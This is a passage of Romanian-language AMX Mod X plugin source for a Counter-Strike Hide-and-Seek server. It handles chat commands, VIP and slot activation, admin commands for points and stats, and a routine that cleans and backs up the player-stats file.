						xColor(id, "Nu gasesc nici un jucator. [!g%s!n]", Target)
						return PLUGIN_HANDLED
					}
				}
				else
				{
					xColor(id, "Nu ai acces la aceasta comanda.")
				}
			}
			else
			{
				xColor(id, "Comanda este dezactivata.")
			}
			return PLUGIN_CONTINUE
		}
		
		/* Actualizare IP */
		if (contain(sayText, "/actualizare") != -1)
		{
			if (str_to_num(VERIFICA_JUCATOR))
			{
				if (get_user_flags(id) & ADMIN_SLAY)
				{
					new completArg[32], id2, ip[32], nume[32], Target[32]
					format(completArg, 31, "#%s", sayText[13])
					copy(Target, 31, sayText[13])
					id2 = cmd_target(id, completArg, CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF)
					if (!id2)
						id2 = cmd_target(id, Target, CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF)
					
					if (id2)
					{
						get_user_name(id2, nume, 31)
						get_user_ip(id2, ip, 31, 1)
						if (!CheckFraud(id2, plLastIP[id2]) && str_to_num(VERIFICA_JUCATOR))
						{
							copy(plLastIP[id2], 63, ip)
							xColor(0, "IP-ul lui!g %s!n a fost actualizat. (!g%s!n). Statisticile ii vor fi salvate.", nume, getClassIp(ip))
						}
						else
						{
							xColor(id, "IP-ul lui!g %s!n este deja valid (actualizat). Last:!g%s!n | New:!g%s!n.", nume, plLastIP[id2], ip)
						}
					}
					else
					{
						xColor(id, "Nu gasesc nici un jucator. [!g%s!n]", Target)
					}
				}
				else
				{
					xColor(id, "Nu ai acces la aceasta comanda.")
				}
			}
			else
			{
				xColor(id, "Comanda este dezactivata.")
			}
			return PLUGIN_CONTINUE
		}
		
		/* Info VIP MOTD */
		if (equal(sayText, "/informatii"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			show_motd(id, "addons/amxmodx/configs/motd/info.html")
		}
		
		if (equal(sayText, "/vipg1"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			show_motd(id, "addons/amxmodx/configs/motd/G1.html")
		}
				
		if (equal(sayText, "/vipg2"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			show_motd(id, "addons/amxmodx/configs/motd/G2.html")
		}
		
		if (equal(sayText, "/vipg3"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			show_motd(id, "addons/amxmodx/configs/motd/G3.html")
		}
		
		if (equal(sayText, "/vipg4"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			show_motd(id, "addons/amxmodx/configs/motd/G4.html")
		}
		
		if (equal(sayText, "/vipg5"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			show_motd(id, "addons/amxmodx/configs/motd/G5.html")
		}
		
		if (equal(sayText, "/vip"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			show_motd(id, "addons/amxmodx/configs/motd/TabelVipInfo.html")
		}
		
		/* Info Point */
		if (equal(sayText, "/infopoint"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			new fMotd[128]
			format(fMotd, 127, "%s/infopoint.html", URL_MOTD)
			show_motd(id, fMotd, "Point Info")
			return PLUGIN_CONTINUE
		}
		
		/* Info Level */
		if (equal(sayText, "/infolevel"))
		{
			if (StopChat)
			{
				xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
				return PLUGIN_HANDLED
			}
			new fMotd[128]
			format(fMotd, 127, "%s/infolevel.html", URL_MOTD)
			show_motd(id, fMotd, "Level Info")
			return PLUGIN_CONTINUE
		}
	}
	if (StopChat)
	{
		xColor(id, "Pretenas, nu poti astepta putin sa se genereze cuvantul ? (s-ar putea sa se anuleze)")
		return PLUGIN_HANDLED
	}
	// Block multiple msg
	if (equal(LastMessage[id][1], sayText))
	{
		LastMessage[id][0]++
		if (LastMessage[id][0] == 5)
		{
			xColor(id, "Nu mai face spamm boooule")
			return PLUGIN_HANDLED
		}
	}
	copy(LastMessage[id][1], 63, sayText)
	return PLUGIN_CONTINUE
}

public WhoAdmin(id)
{
	new xMOTD[2048], xLen, Nume[32], tNume[32], xP[32], xN, cTime[4]
	get_players(xP, xN, "c")
	xLen = format(xMOTD[xLen], 2053-xLen, "<body background=http://i.imgur.com/Hdlw6J4.png><center><pre>")
	xLen += format(xMOTD[xLen], 2053-xLen, "<b><font color=white>Pentru cereri de admin intrati pe </font><font color=red>www.legendcs.com/forum</font><font color=white> sectiunea </font><font color=red>HNS</font>^n\<font color=white>Pentru detalii despre </font><font color=red>V.I.P</font><font color=white> tasteaza </font><font color=red>/vip</font>^n^n")
	for (new i=0; i < sizeof(whoDenumire);i++)
	{
		xLen += format(xMOTD[xLen], 2053-xLen, "<b><font color=white>%s</b><font color=%s>^n", whoDenumire[i], whoCulori[i])
		for (new x=0;x < xN;x++)
		{
			get_user_name(xP[x], Nume, 31)
			copy(tNume, 63, Nume)
			replace_all(tNume, 63, "<", "")
			replace_all(tNume, 63, ">", "")
			if (i+1 < sizeof(whoDenumire)) 
			{
				// Verifica adminii
				if (get_user_flags(xP[x]) == read_flags(whoGrad[i]))
				{
					xLen += format(xMOTD[xLen], 2053-xLen, "%s^n", tNume)
				}
			}
			else
			{
				// Verifica VIP-urile
				for (new z=1;z < sizeof(VipAcces);z++)
				{
					if (get_user_flags(xP[x]) == read_flags(VipAcces[z]))
					{
						ConvertTime(plVipInfo[xP[x]][0] + (86400 * plVipInfo[xP[x]][1]) - time(), cTime, true)
						xLen += format(xMOTD[xLen], 2053-xLen, "<font color=white>[</font><font color=green>%s</font> <font color=white>|</font> <font color=green>G:%d</font><font color=white>]</font> <font color=white>[</font>Expira: ", tNume, z)
						if (cTime[0] > 0)
							xLen += format(xMOTD[xLen], 2053-xLen, "%d zile <font color=white>|</font> ", cTime[0])
						if (cTime[1] > 0 || cTime[0] > 0)
							xLen += format(xMOTD[xLen], 2053-xLen, "%d ore <font color=white>|</font> ", cTime[1])
						xLen += format(xMOTD[xLen], 2053-xLen, "%dminute<font color=white>]</font>^n", cTime[2])
					}
				}
			}
		}
		xLen += format(xMOTD[xLen], 2053-xLen, "</font>")
	}
	xLen += format(xMOTD[xLen], 2053-xLen, "</center></body>")
	show_motd(id, xMOTD, "Adminii Serverului")
}


public Medic(id)
{
	medicBlock[id] = time() + 1
	if (is_user_alive(id))
	{
		new pMoney = cs_get_user_money(id)
		if (pMoney < 1)
		{
			xColor(id, "Noua comanda pentru medic este (medic) fara slash (/)")
		}
		else
		{
			if (medicLast[id] < time())
			{
				new MaxHP, Vip = IsVip(id), MedicTime, lvl, AddHP, pHp = get_user_health(id)
				if (Vip != 0)
					MaxHP = str_to_num(VipMaxHP[Vip])
				else
				{
					lvl = CalculateLevel(id)
					MaxHP = str_to_num(LevelMaxHP[lvl])
				}
				MedicTime = str_to_num(LevelMedicTime[lvl]) - str_to_num(VipMedicTime[Vip])
				AddHP = str_to_num(VipMedicHP[Vip]) + str_to_num(LevelMedicHP[lvl])
				
				if (pHp >= MaxHP)
				{
					xColor(id, "Noua comanda pentru medic este (medic) fara slash (/)", MaxHP, pHp)
				}
				else
				{
					if (pHp + AddHP > MaxHP)
					{
						GameHP(id, MaxHP - pHp)
						xColor(id, "Medicul ti-a incarcat toata viata.")
					}
					else
					{
						GameHP(id, AddHP)
						xColor(id, "Medicul ti-a dat!g %d!n HP.", AddHP)
					}
					GameBani(id, 0, 1)
					medicLast[id] = time() + MedicTime
				}
			}
			else
			{
				new wait = medicLast[id] - time()
				xColor(id, "Noua comanda pentru medic este (medic) fara slash (/)", wait, wait == 1 ? "a" : "e")
			}
		}
	}
	else
	{
		xColor(id, "Noua comanda pentru medic este (medic) fara slash (/)")
	}
	return PLUGIN_HANDLED
}

RankMe(id)
{
	new Nume[32], pStats[5], pLvl[2]
	get_user_name(id, Nume, 31)
	new pRank = PlayerStats(Nume, pStats, pLvl)
	if (pRank != 0)
		xColor(id, "Rankul tau este!g %d!n din!g %d!n. [!g%d!nKILL][!g%d!nHS][!g%d!nROUND][!g%d!nDEATH][!g%d!nSUICIDE]", \
		pRank, topTotalPlayers, pStats[0], pStats[1], pStats[2], pStats[3], pStats[4])
}

public SlotMe(id)
{
	new xMenu[512]
	format(xMenu, 511, "\rHNS.LEGENDCS.COM\y ->\r Slot pentru activitate.^n^n\ \wInainte de a activa slotul, citeste mai jos.^n\Parola pentru slot trebuie sa contina minim\r 4\w caractere.^n\Parola nu trebuie data la nimeni, altfel slotul va fi dezactivat.^n\Nu se face abuz de comenzile amx_say / amx_csay .. etc.^n\\rDupa activarea slotului, poti face cerere de admin.^n^n\\r1\w.\y Sunt deacord cu cele spuse mai sus.^n\\r2\w.\y Anuleaza activarea slotului.")

	new Keys = ( 1<<0 | 1<<1 )
	show_menu(id, Keys, xMenu, -1, "menuConfirmareSlot")
}

public PUBmenuConfirmareSlot(id, keys)
{
	if (keys == 0)
	{
		xColor(id, "!t*********************************************************")
		xColor(id, "!t*********************************************************")
		xColor(id, "!t*********************************************************")
		xColor(id, "*!g Parola trebuie sa contina minim!t %d!g caractere.", 4)
		xColor(id, "!t*********************************************************")
		xColor(id, "!t*********************************************************")
		xColor(id, "!t*********************************************************")
		MessageMode[id] = true
		client_cmd(id, "messagemode ^"PAROLA_SLOT^"")
		new cDown[3]
		cDown[0] = id
		cDown[1] = str_to_num(SEC_TO_PASSWORD)
		cDown[2] = 2
		CountDownTime(cDown)
		new Float:BMM = floatstr(SEC_TO_PASSWORD)
		set_task(BMM, "BlockMessageMode", id + TASK_MESSAGE_MODE)
	}
	else
	{
		xColor(id, "Multumim ca joci pe serverul nostru.")
	}
	return PLUGIN_HANDLED
}

public SlotMeFinal(id)
{
	if (MessageMode[id])
	{
		remove_task(id + TASK_MESSAGE_MODE)
		remove_task(id + TASK_SLOTME_PW)
		new Pws[64], Nume[32]
		get_user_name(id, Nume, 31)
		read_args(Pws, 63)
		remove_quotes(Pws)
		if (strlen(Pws) < 4)
		{
			MessageMode[id] = false
			xColor(id, "Parola!g %s!n este mai mica de!g %d!n caractere. Rescrie parola.", Pws, 4)
			PUBmenuConfirmareSlot(id, 0)
		}
		else
		{
			MessageMode[id] = false
			client_cmd(id, "setinfo %s %s", PwFieldServer, Pws)
			copy(plPass[id], 63, Pws)
			plAcces[id] = 1
			xColor(0, "Jucatorul!g %s!n a activat slotul pe server prin comanda!g /slotme!n.", Nume)
			SalvareStatistici(id, "", get_user_time(id, 1))
			set_task(1.0, "vUs", id)
		}
	}
	else
	{
		xColor(id, "Foloseste comanda!g /slotme!n pentru activarea slotului.")
	}
}

VipMe(id)
{
	new xMenu[512]
	format(xMenu, 511, "\rHNS.LEGENDCS.COM\y ->\r Vip G:%d] pentru activitate..^n^n\ \wInainte de a activa VIP-ul, citeste mai jos.^n\Iti voi scadea\r %d\w ore din totalul de ore.^n\Abuzul de VIP duce la stergerea acestuia.^n\Odata ce ai VIP, trebuie sa-ti faci cont pe forum.^n^n\\r1\w.\y Sunt deacord si dorect activarea VIP-ului^n\\r2\w.\y Anuleaza activarea VIP-ului.", VIP_ME_GRAD, ORE_VIP_ME)

	new Keys = ( 1<<0 | 1<<1 )
	show_menu(id, Keys, xMenu, -1, "menuConfirmareVip")
}

public PUBmenuConfirmareVip(id, keys)
{
	if (keys == 0)
	{
		new Nume[32]
		get_user_name(id, Nume, 31)
		if (AdminStatus(Nume, false, plPass[id], 63))
		{
			xColor(id, "Adminul tau va fi dezactivat pe perioada VIP-ului.")
		}
		plAcces[id] = 2
		plVipInfo[id][0] = time()
		plVipInfo[id][1] = DURATA_VIP_ME
		plVipInfo[id][2] = VIP_ME_GRAD
		ExpDate(1440 * DURATA_VIP_ME, plVipEnd[id], 63)
		SalvareStatistici(id, "", get_user_time(id, 1), 3600 * ORE_VIP_ME)
		set_task(1.0, "vUs", id)
		xColor(0, "!g%s!n a activat!t VIP-ul!n prin comanda!g /vipme!n.!g %d!n zile!n VIP G:!g%d!n]", Nume, DURATA_VIP_ME, VIP_ME_GRAD)
	}
	else
	{
		xColor(0, "Multumim ca joci pe serverul nostru.")
	}
} 

public vUs(id)
{
	VerificareUser(id)
}

public BlockMessageMode(tid)
{
	MessageMode[tid - TASK_MESSAGE_MODE] = false
}

/* ==========================================================================================
===================================================== CMD`s
========================================================================================== */
public cmdReseteazaPuncte(id)
{
	new Jucator[32], NumeAdmin[32], NumeJucator[32]
	get_user_name(id, NumeAdmin, 31)
	if (SpecialAcces(id, NumeAdmin, true))
	{
		read_argv(1, Jucator, 31)
		new id2 = cmd_target(id, Jucator, CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF)
		if (!id2)
			return PLUGIN_HANDLED
			
		get_user_name(id2, NumeJucator, 31)
		
		xColor(id, "!g%s!n ii reseteaza punctele lui!g %s!n [!g%d!n punct%s].", NumeAdmin, NumeJucator, ptPlStats[id][0], ptPlStats[id][0] == 1 ? "" : "e")
		console_print(id, "I-ai resetat punctele lui: %s", NumeJucator)
		rPuncte(id2)
	}
	return PLUGIN_HANDLED
}

public cmdAdaugaPuncte(id)
{
	new Jucator[32], Puncte[32], NumeAdmin[32], NumeJucator[32]
	get_user_name(id, NumeAdmin, 31)
	if (SpecialAcces(id, NumeAdmin, true))
	{
		read_argv(1, Jucator, 31)
		read_argv(2, Puncte, 31)
		new id2 = cmd_target(id, Jucator, CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF)
		if (!id2)
			return PLUGIN_HANDLED

		get_user_name(id2, NumeJucator, 31)	
			
		if (!str_to_num(Puncte))
		{
			console_print(id, "La <puncte> se trece valoare numerica")
			return PLUGIN_HANDLED
		}
		xColor(id, "!g%s!n ii adauga lui!g %s!n [!g%d!n punct%s]", NumeAdmin, NumeJucator, str_to_num(Puncte), str_to_num(Puncte) == 1 ? "" : "e")
		console_print(id, "I-ai adaugat lui: %s [%d punct%s]", NumeJucator, str_to_num(Puncte), str_to_num(Puncte) == 1 ? "" : "e")
		aPuncte(id2, str_to_num(Puncte))
	}
	return PLUGIN_HANDLED
}

public cmdAdaugaVip(id)
{
	new NumeAdmin[32], NumeJucator[32]
	get_user_name(id, NumeAdmin, 31)
	if (SpecialAcces(id, NumeAdmin, true) || id == 0)
	{
		new Arg1[32], Arg2[32], Arg3[32], Arg4[32]
		read_argv(1, Arg1, 31)
		read_argv(2, Arg2, 31)
		read_argv(3, Arg3, 31)
		read_argv(4, Arg4, 31)
		if (strlen(Arg1) < 1 || strlen(Arg2) < 1 || strlen(Arg3) < 1 || strlen(Arg4) < 1)
			return HowAdd(id, true, true, true, true)
		else
		{
			if (strlen(Arg2) < 4)
				return HowAdd(id, false, true, false, false)
			if (!str_to_num(Arg3))
				return HowAdd(id, false, false, true, false)
			if (!str_to_num(Arg4))
				return HowAdd(id, false, false, false, true)
			new id2 = cmd_target(id, Arg1, CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF)
			if (id2 != 0)
			{
				get_user_name(id2, NumeJucator, 31)
				if (AdminStatus(NumeJucator, false, "", 0))
				{
					xColor(id2, "Adminul tau va fi dezactivat pe perioada VIP-ului.")
				}
				plAcces[id2] = 2
				plVipInfo[id2][0] = time()
				plVipInfo[id2][1] = str_to_num(Arg4)
				plVipInfo[id2][2] = str_to_num(Arg3)
				copy(plPass[id2], 63, Arg2)
				ExpDate(1440 * str_to_num(Arg4), plVipEnd[id2], 63)
				client_cmd(id2, "setinfo %s %s", PwFieldServer, Arg2)
				SalvareStatistici(id2, "", get_user_time(id2, 1))
				set_task(1.0, "vUs", id2)
				xColor(0, "!g%s!n i-a activat VIP G:!g%s!n] lui!g %s!n [!g%s!n zi%s]", NumeAdmin, Arg3, NumeJucator, Arg4, str_to_num(Arg4) == 1 ? "" : "le")
			}
			else
			{
				return HowAdd(id, true, false, false, false)
			}
		}
	}
	return PLUGIN_HANDLED
}

HowAdd(id, nume, parola, grad, durata)
{
	console_print(id, "**************************************")
	console_print(id, "[ Comanda Adaugare VIP: amx_addvip <nume | !nume <parola> <grad> <durata>?")
	console_print(id, "")
	if (nume)
		console_print(id, "<nume> -> (Jucatorul trebuie sa fie ON)")
	if (parola)
		console_print(id, "<parola> -> Parola VIP-ului (minim 4 caractere)")
	if (grad)
		console_print(id, "<grad> -> Grad VIP (numeric)")
	if (durata)
		console_print(id, "<durata> -> Durata VIP-ului(numeric)(in zile)")
	console_print(id, "")
	console_print(id, "Exemplu: amx_addvip ^"CsN^" ^"parola-nab^" ^"5^" ^"20^"")
	console_print(id, "**************************************")
	return PLUGIN_HANDLED
}

public cmdResetStats(id)
{
	new NumeAdmin[32], NumeJucator[32], Save=false, tForm[128]
	get_user_name(id, NumeAdmin, 31)
	if (SpecialAcces(id, NumeAdmin, true) || id == 0)
	{
		new Arg1[32], Arg2[32]
		read_argv(1, Arg1, 31)
		read_argv(2, Arg2, 31)
		if (strlen(Arg1) < 1 || strlen(Arg2) < 1)
			return HowUse(id, true, true)
			
		new id2 = cmd_target(id, Arg1, CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF)
		if (id2 != 0)
		{
			get_user_name(id2, NumeJucator, 31)
			if (contain(Arg2, "a") != -1)
			{
				plStats[id2][0] = 0
				plStats[id2][1] = 0
				plStats[id2][2] = 0
				plStats[id2][3] = 0
				plStats[id2][4] = 0
				console_print(id, "-> Statisticile lui [%s] au fost resetate", NumeJucator)
				format(tForm, 127, "[stats]")
				Save = true
			}
			if (contain(Arg2, "b") != -1)
			{
				plTime[id2][0] = 0
				console_print(id, "-> Orele lui [%s] au fost resetate", NumeJucator)
				format(tForm, 127, "%s[ore]", tForm)
				Save = true
			}
			if (contain(Arg2, "c") != -1)
			{
				plAcces[id2] = 0
				console_print(id, "-> Slotul/VIP-ul lui [%s] a fost dezactivat.", NumeJucator)
				remove_user_flags(id2)
				format(tForm, 127, "%s[slot/vip]", tForm)
				Save = true
			}
			if (Save)
			{
				xColor(0, "!g%s!n ii reseteaza lui!g %s!n!t %s", NumeAdmin, NumeJucator, tForm)
				SalvareStatistici(id2, "", 0)
			}
		}
		else
		{
			if (file_exists(sStatsFile))
			{
				new xLinie, xText[512], tNume[64], tParola[64], tTime[32], tUnixLast[32], tLastIP[32], tLast[32]
				new statsKill[10], statsHs[10], statsRound[10], statsDeath[10], statsSuicide[10]
				new regInreg[2], vipStart[32], vipDurata[6], vipGrad[2], vipEnd[64]
				new oFile = fopen(sStatsFile, "r")
				while(!feof(oFile))
				{
					fgets(oFile, xText, 511)
					trim(xText)

					tNume[0] = 0
					tParola[0] = 0
					
					if (xText[0] == ';' || xText[0] == '!' ||
						parse(xText, tNume, 63, tParola, 63, tTime, 31, tUnixLast, 31, tLastIP, 31, tLast, 31, \
						statsKill, 9, statsHs, 9, statsRound, 9, statsDeath, 9, statsSuicide, 9, \
						regInreg, 1, vipStart, 31, vipDurata, 5, vipGrad, 1, vipEnd, 63) < 2)
					{
						xLinie++
						continue
					}
					
					if (equali(Arg1, tNume))
					{
						new fNewLine[512]
						if (contain(Arg2, "d") != -1)
						{
							format(fNewLine, 511, "; -> Disabled.")
							console_print(id, "Statisticile jucatorului [%s] au fost sterse.", Arg1)
							format(tForm, 127, "[FULL STATS]")
						}
						else
						{
							if (contain(Arg2, "a") != -1)
							{
								format(statsKill, 31, "0")
								format(statsHs, 31, "0")
								format(statsRound, 31, "0")
								format(statsDeath, 31, "0")
								format(statsSuicide, 31, "0")
								console_print(id, "-> Ai resetat statisticile lui [%s]", Arg1)
								format(tForm, 127, "[stats]")
							}
							
							if (contain(Arg2, "b") != -1)
							{
								format(tTime, 31, "0")
								console_print(id, "-> Ai resetat orele lui [%s]", Arg1)
								format(tForm, 127, "%s[ore]", tForm)
							}
							
							if (contain(Arg2, "c") != -1)
							{
								format(regInreg, 31, "0")
								format(vipStart, 31, "0")
								format(vipDurata, 31, "0")
								format(vipGrad, 31, "0")
								format(vipEnd, 31, "-")
								format(tForm, 127, "%s[slot/vip]", tForm)
							}
							format(fNewLine, 511, "^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^"",\
							tNume, tParola, tTime, tUnixLast, tLastIP, tLast, statsKill, statsHs, statsRound, statsDeath, statsSuicide,\
							regInreg, vipStart, vipDurata, vipGrad, vipEnd)
						}
						write_file(sStatsFile, fNewLine, xLinie)
						fclose(oFile)
						xColor(0, "!g%s!n ii reseteaza lui!g %s!n!t %s", NumeAdmin, Arg1, tForm)
						return PLUGIN_HANDLED
					}
					xLinie++
				}
				fclose(oFile)
			}
			console_print(id, "Nu gasesc jucatorul [%s]", Arg1)
		}
	}
	return PLUGIN_HANDLED
}

HowUse(id, nume, attrb)
{
	console_print(id, "**************************************")
	console_print(id, "[ Comanda Resetare: amx_resetstats <nume> <flag>")
	console_print(id, "")
	if (nume)
		console_print(id, "<nume> -> Parte din nume(daca e ON) | Numele complet (daca nu e ON)")
	if (attrb)
	{
		console_print(id, "[ Flags ]")
		console_print(id, "a -> Reseteaza statistici (Kill/Hs/Round/Death/Suicide)")
		console_print(id, "b -> Reseteaza ore.")
		console_print(id, "c -> Dezactivaza slotul/VIP.")
		console_print(id, "d -> Dezactivare totala (sterge din fisier)(doar pentru cei offline).")
	}
	console_print(id, "")
	console_print(id, "Exemplu: amx_resetstats ^"CsN^" ^"ac^"")
	console_print(id, "**************************************")
	return PLUGIN_HANDLED
}

public VipStats(id)
{
	new NumeAdmin[32]
	get_user_name(id, NumeAdmin, 31)
	if (SpecialAcces(id, NumeAdmin, true) || id == 0)
	{
		new Arg1[32], Arg2[32], Arg3[32]
		read_argv(1, Arg1, 31)
		read_argv(2, Arg2, 31)
		read_argv(3, Arg3, 31)
		
		if (strlen(Arg1) < 1 || strlen(Arg2) < 1 || strlen(Arg3) < 1)
			HowChange(id, true, true, true)
		else
		{
			new id2 = cmd_target(id, Arg1, CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF)
			if (id2)
			{
				new rReturn = false, NumeVIP[32]
				get_user_name(id2, NumeVIP, 31)
				if (plAcces[id2] == 2)
				{
					if (equali(Arg2, "a"))
					{
						new TimeDown = str_to_num(Arg3)
						if (TimeDown > 0)
						{
							if (plVipInfo[id2][1] <= TimeDown)
							{
								HowChange(id, false, false, true)
							}
							else
							{
								plVipInfo[id2][1] = plVipInfo[id2][1] - TimeDown
								xColor(0, "!g%s!n ii scade VIP-ul lui!g %s!n cu!g %d!n zi%s", NumeAdmin, NumeVIP, TimeDown, TimeDown == 1 ? "" : "le")
							}
						}
						else
							HowChange(id, false, false, true)
						rReturn = true
					}
					if (equali(Arg2, "b"))
					{
						new TimeUp = str_to_num(Arg3)
						if (TimeUp > 0)
						{
							plVipInfo[id2][1] = plVipInfo[id2][1] + TimeUp
							xColor(0, "!g%s!n ii creste VIP-ul lui!g %s!n cu!g %d!n zi%s", NumeAdmin, NumeVIP, TimeUp, TimeUp == 1 ? "" : "le")
						}
						else
							HowChange(id, false, false, true)
						rReturn = true
					}
					if (!rReturn)
						console_print(id, "Comanda [%s] nu exista", Arg2)
				}
				else
				{
					console_print(id, "Jucatorul [%s] nu are vip.", NumeVIP)
				}
			}
			else
			{
				HowChange(id, true, false, false)
			}
		}
	}
	return PLUGIN_HANDLED
}

HowChange(id, nume, attrb, time)
{
	console_print(id, "**************************************")
	console_print(id, "[ Comanda Resetare: amx_vipinfo <nume> <comanda> <timp>")
	console_print(id, "")
	if (nume)
		console_print(id, "<nume> -> Parte din nume/Nume")
	if (attrb)
	{
		console_print(id, "[ Comanda ]")
		console_print(id, "a -> Down zile VIP.")
		console_print(id, "b -> Up zile VIP.")
	}
	if (time)
		console_print(id, "<timp> -> Cate zile ii scazi/cresti din VIP.(mai putin de cate zile mai are)")
	console_print(id, "")
	console_print(id, "Exemplu: amx_vipinfo ^"CsN^" ^"a^" ^"10^"")
	console_print(id, "**************************************")
	return PLUGIN_HANDLED
}


/* ==========================================================================================
===================================================== Special Plugin -> CleanMod
========================================================================================== */
public CleanMod(id)
{
	if (str_to_num(CLEAN_MOD_STATUS))
	{
		if (id == 0)
		{
			new xP[32], xN
			get_players(xP, xN, "c")
			if (CleanStatus(false) + (3600 * 2) < time())
			{
				xColor(id, "!gCleanMOD Started ->!t Incepe curatarea fisierului de baza.")
				xColor(id, "!gCleanMOD Started ->!t BackUP fisierul de statistici.")
				// Create tempFile
				new tFile[128], fForm[256], TimeNew = time(), DateNew[32], fNewLine[256], saveLine=false, cTime[4], bkData[64], bkFile[128]
				format(tFile, 127, "%s.tmp", sStatsFile)
				format(fForm, 255, ";* Model salvare !!")
				write_file(tFile, fForm, -1)
				format(fForm, 255, ";* ^"Nume^" ^"Parola^" ^"PlayerTime^" ^"UnixLast^" ^"LastIP^" ^"DateLast^" ^"Kills^" ^"HeadShot^" ^"Round^" ^"Death^" ^"Suicide^" ^"Normal/Slot/Vip^" ^"VipStart^" ^"DurataVip^" ^"VipGrad^" ^"VipEnd^"")
				write_file(tFile, fForm, -1)
				format(fForm, 255, "!^"LastUpdate^" ^"0^"")
				write_file(tFile, fForm, -1)
				write_file(tFile, "", -1)
				//
				new xLinie, removedVip, removedSlot, removedPlayers
				new activeVip, activeSlot, activePlayers
				get_time("%d.%m.%Y %H:%M:%S", DateNew, 31)
				get_time("%d.%m.%Y_%H.%M.%S", bkData, 31)
				format(bkFile, 127, "%s/bk_%s.log", sBackUp, bkData)
				format(fForm, 255, "-- BACKUP DATA -- %s -- %s --", DateNew, sStatsFile)
				write_file(bkFile, fForm, -1)
				
				lLog("[ ***** LOG STARTED = [%s] ***** ]", DateNew)
				
				if (file_exists(sStatsFile))
				{
					write_file(bkFile, "------------------------------ DATA ------------------------------", -1)
					new xText[512], tNume[64], tParola[64], tTime[32], tUnixLast[32], tLastIP[32], tLast[32]
					new statsKill[10], statsHs[10], statsRound[10], statsDeath[10], statsSuicide[10]
					new regInreg[2], vipStart[32], vipDurata[6], vipGrad[2], vipEnd[64]
					new oFile = fopen(sStatsFile, "r")
					while(!feof(oFile))
					{
						fgets(oFile, xText, 511)
						trim(xText)
						/* bkup */
						write_file(bkFile, xText, -1)
						
						tNume[0] = 0
						tParola[0] = 0
						
						if (xText[0] == ';' || xText[0] == '!' ||
							parse(xText, tNume, 63, tParola, 63, tTime, 31, tUnixLast, 31, tLastIP, 31, tLast, 31, \
							statsKill, 9, statsHs, 9, statsRound, 9, statsDeath, 9, statsSuicide, 9, \
							regInreg, 1, vipStart, 31, vipDurata, 5, vipGrad, 1, vipEnd, 63) < 2)
						{
							xLinie++
							continue
						}
						
						if (str_to_num(regInreg) == 2)
						{
							if (str_to_num(vipStart) + (86400 * str_to_num(vipDurata)) <= TimeNew)
							{
								format(regInreg, 1, "0")
								format(vipStart, 31, "0")
								format(vipDurata, 5, "0")
								format(vipGrad, 1, "0")
								format(vipEnd, 1, "-")

								AdminStatus(tNume, true, "", 0)
								
								if (str_to_num(tUnixLast) + (86400 * cvInactiveDay) <= TimeNew)
								{
									saveLine = false
									removedPlayers++
									removedVip++
									ConvertTime(TimeNew - str_to_num(tUnixLast), cTime, true)
									lLog("[DEZACTIVAT] [%s] [I: %d zi%s %d or%s %d minut%s]", \
										tNume, cTime[0], cTime[0] == 1 ? "" : "le", cTime[1], cTime[1] == 1 ? "a" : "e", cTime[2], cTime[2] == 1 ? "" : "e")
								}
								else
								{
									saveLine = true
									activePlayers++
									removedVip++
									lLog("[DEZACTIVAT VIP] [%s]", tNume)
								}
							}
							else
							{
								saveLine = true
								activeVip++
								activePlayers++
							}
						}
						else
						{
							if (str_to_num(tUnixLast) + (86400 * cvInactiveDay) <= TimeNew)
							{
								if (str_to_num(regInreg) == 1)
								{
									if (str_to_num(tUnixLast) + (86400 * (cvInactiveDay + 2)) <= TimeNew)
									{
										removedSlot++
										removedPlayers++
										saveLine = false
										ConvertTime(TimeNew - str_to_num(tUnixLast), cTime, true)
										lLog("[DEZACTIVAT SLOT] [%s] [I: %d zi%s %d or%s %d minut%s]", \
											tNume, cTime[0], cTime[0] == 1 ? "" : "le", cTime[1], cTime[1] == 1 ? "a" : "e", cTime[2], cTime[2] == 1 ? "" : "e")
									}
									else
									{
										saveLine = true
										activeSlot++
										activePlayers++
									}
								}
								else
								{
									removedPlayers++
									saveLine = false
									ConvertTime(TimeNew - str_to_num(tUnixLast), cTime, true)
									lLog("[DEZACTIVAT] [%s] [I: %d zi%s %d or%s %d minut%s]", \
										tNume, cTime[0], cTime[0] == 1 ? "" : "le", cTime[1], cTime[1] == 1 ? "a" : "e", cTime[2], cTime[2] == 1 ? "" : "e")
								}
							}
							else
							{
								if (str_to_num(regInreg) == 1)
									activeSlot++
								activePlayers++
								saveLine = true
							}	
						}
						if (saveLine)
						{
